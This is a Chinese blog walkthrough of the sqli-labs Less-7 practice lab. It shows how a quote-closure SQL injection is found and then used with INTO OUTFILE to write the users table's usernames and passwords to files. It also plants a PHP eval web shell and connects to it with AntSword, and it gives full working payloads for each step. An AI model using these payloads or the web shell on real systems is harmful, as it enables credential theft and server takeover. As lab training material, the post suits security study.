[网络安全]sqli-labs Less-7 解题详析

[网络安全]Less-7 GET-Dump into outfile - String:字符型into outfile命令注入

into outfile

开始做题前,先了解一下什么是into outflie命令

INTO OUTFILE 命令是用于将查询结果写入到一个文件中的 MySQL 查询语句。它可以将查询结果保存为文本文件,供进一步处理或导出使用。

以下是 INTO OUTFILE 命令的基本语法:

SELECT column1, column2, ...
INTO OUTFILE 'filename'
FROM table_name
WHERE condition;
  • column1, column2, ...:要选择的列。
  • 'filename':指定要输出的文件路径和名称。注意,MySQL 服务器必须有写入该文件的权限,并且必须是绝对路径。
  • table_name:要查询的数据库表名。
  • WHERE condition:可选,用于筛选查询结果的条件。

例如,假设我们有一个名为 customers 的数据库表,其中包含 nameemail 列。如果要将符合特定条件的数据输出到文件中,可以使用以下查询:

SELECT name, email
INTO OUTFILE '/qiu.txt'
FROM customers
WHERE age > 30;

这将把年龄大于 30 的客户的姓名和电子邮件输出到 /qiu.txt 文件中。

判断注入类型

在这里插入图片描述
单引号回显error

尝试双引号:

在这里插入图片描述

但输入?id=1" and 1=2 --+时仍正常回显:

在这里插入图片描述

说明不是单纯的单引号/双引号注入

常用的闭合符号

SQL语句原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))
 
闭合代码:
1' #
1" #
1') #
") #
')) #

?id=1')) and 1=1 --+ 回显正常

在这里插入图片描述
?id=1')) and 1=2 --+ 回显错误

在这里插入图片描述

可判断注入语句为$sql="SELECT * FROM users WHERE id=(('$id'))";


判断注入点个数

GET1')) order by 3 --+,回显如下:

在这里插入图片描述

GET1')) order by 4 --+,回显如下:

在这里插入图片描述

故注入点为3个


查库名

联合查询(注入点为3)+into outfile

我们写入文件时,应选择数据库中有写入权限的目录

模板:?id=1')) union select (sql语句) into outfile '路径' --+

于是构造:?id=1')) union select 1,2,database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt' --+

执行该语句后访问D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\目录,打开1.txt文件,得到导出的数据库名

注意:payload中目录的分隔符可以是\、//、/ 但不能是 \

在这里插入图片描述


查表名

Payload:?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\2.txt' --+

步骤同上:

在这里插入图片描述


查users表的列名

Payload:?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\3.txt' --+

步骤同上:

在这里插入图片描述


查字段

Payload:?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\4.txt' --+

获取账号及密码,步骤同上:

在这里插入图片描述


如果我们并不能直接从本机的目录上访问这些txt文件,该怎么办?

既然我们可以上传文件,同样地,也可以一句话连接蚁剑

模板:?id=1')) union select 1,2,'一句话木马' into outfile '路径\\a.php' --+(三个注入点)

Payload:?id=1')) union select 1,2,'<?php eval($_POST[qiushuo]);?>' into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\a.php' --+

在这里插入图片描述
然后删除非必要的代码

在这里插入图片描述
连接蚁剑:

在这里插入图片描述
访问txt文件:

在这里插入图片描述


总结

以上为[网络安全]sqli-labs Less-7 解题详析,后续将分享[网络安全]sqli-labs Less-8 解题详析
原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析
我是秋说,我们下次见。

猜你喜欢

转载自blog.csdn.net/2301_77485708/article/details/131726309